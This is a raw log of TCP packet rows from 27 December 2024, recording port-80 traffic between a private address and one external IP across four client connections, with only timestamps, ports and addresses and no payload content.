Dec 27, 2024 22:33:10.644869089 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.644889116 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.646812916 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.646883965 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.646920919 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.650968075 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.651017904 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.652430058 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.652549028 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.652602911 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.656522036 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.656637907 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.656691074 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.660686970 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.660830975 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.660891056 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.664644003 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.664761066 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.664807081 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.668531895 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.668678045 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.668725014 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.672331095 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.672400951 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.672451973 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.676012993 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.676150084 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.676207066 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.679657936 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.679781914 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.679831028 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.683365107 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.683506966 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.683583021 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.687051058 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.687177896 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.687232971 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.690771103 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.690948009 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.691001892 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.692523003 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.692651033 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.692711115 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.694468975 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.694545031 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.694560051 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.694610119 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.695219040 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.695270061 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.695344925 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.698157072 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.698210955 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.698263884 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.699174881 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.699199915 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.699223995 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.701899052 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.702078104 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.702127934 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.703125000 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.703174114 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.703203917 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.705506086 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.705560923 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.705634117 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.705765963 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.705804110 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.705857992 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.706984997 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.707051039 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.707158089 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.709197044 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.709299088 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.709347010 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.710645914 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.710700989 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.710740089 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.712868929 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.712981939 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.713030100 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.714030981 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.714189053 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.714251041 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.714334965 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.714384079 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.714453936 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.715498924 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.715607882 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.715691090 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.716547966 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.716664076 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.716718912 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.718094110 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.718158960 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.718182087 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.718379974 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.719433069 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.719487906 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.719512939 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.720254898 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.720360994 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.720407009 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.721801996 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.721847057 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.721862078 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.722292900 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.722393036 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.722410917 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.723949909 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.724148035 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.724196911 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.725173950 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.725225925 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.725281954 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.725505114 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.725553036 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.725575924 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.727647066 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.727719069 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.727801085 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.728037119 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.728100061 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.728179932 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.729218960 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.729265928 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.729334116 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.730811119 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.730860949 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.730907917 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.731287003 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.731372118 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.731414080 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.732949972 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.733000994 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.733088970 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.733629942 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.733679056 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.733716011 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.734978914 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.735094070 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.735136032 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.736793041 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.736818075 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.736834049 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.736850023 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.736907005 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.736929893 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.738724947 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.738840103 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.738909006 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.739250898 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.739304066 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.739351988 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.740371943 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.740417957 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.740480900 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.742070913 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.742121935 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.742161036 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.742408037 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.742630959 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.742676020 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.744148970 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.744195938 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.744364023 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.744923115 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.744970083 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.744972944 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.746045113 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.746190071 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.746231079 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.747800112 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.747849941 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.747862101 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.747879028 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.747930050 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.747968912 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.749994040 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.750106096 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.750173092 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.750490904 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.750544071 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.750672102 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.751544952 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.751602888 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.751641989 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.753370047 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.753416061 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.753472090 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.753531933 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.753546953 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.753590107 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.755297899 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.755368948 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.755402088 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.756146908 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.756197929 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.756268024 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.757112980 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.759004116 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.759035110 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.759051085 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.759057999 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.759099007 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.759190083 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.761774063 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.761858940 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.761873960 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.762697935 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.762746096 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.762768984 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.764584064 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.764637947 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.764678001 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.766419888 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.766473055 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.766510963 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.767376900 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.767426014 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.767482042 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.770159006 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.770206928 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.770231009 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.770246983 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.770293951 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.770308018 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.773041010 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.773114920 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.773147106 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.773849964 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.773900032 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.773966074 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.775891066 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.775942087 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.775979996 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.777587891 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.777637959 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.777707100 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.778640032 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.778703928 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.778727055 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.781289101 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.781357050 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.781395912 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.781459093 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.781474113 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.781506062 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.784270048 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.784347057 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.784373999 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.784971952 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.785026073 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.785096884 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.787070990 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.787132978 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.787172079 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.787930012 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.788022995 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.788077116 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.788707972 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.788770914 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.788809061 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.789881945 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.789956093 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.789979935 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.792140961 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.792462111 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.792507887 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.792519093 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.792666912 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.792712927 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.792807102 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.793684006 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.793736935 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.793818951 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.795511961 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.795528889 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.795589924 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.798384905 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.798449039 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.798491955 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.801170111 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.801235914 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.801287889 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.802032948 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.802084923 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.802175045 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.803985119 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.804037094 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.804042101 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.806763887 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.806840897 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.806863070 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.809643984 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.809731960 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.809755087 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.810439110 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.810488939 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.810585976 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.812335968 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.812391996 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.818824053 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.818886042 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.818938017 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.827223063 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.827296019 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.827346087 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.835644007 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.835760117 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.835769892 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.842597961 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.844043016 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.844115973 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.844139099 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.846015930 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.846100092 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.846129894 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.847436905 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.847484112 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.847489119 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.850115061 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.850156069 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.850156069 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.852440119 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.852489948 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.852545023 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.852781057 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.852824926 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.852880001 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.855494976 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.855537891 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.855588913 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.858200073 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.858247995 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.858252048 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.860831022 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.860883951 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.860887051 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.860898972 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.860940933 CET	49744	80	192.168.2.4	147.45.44.131
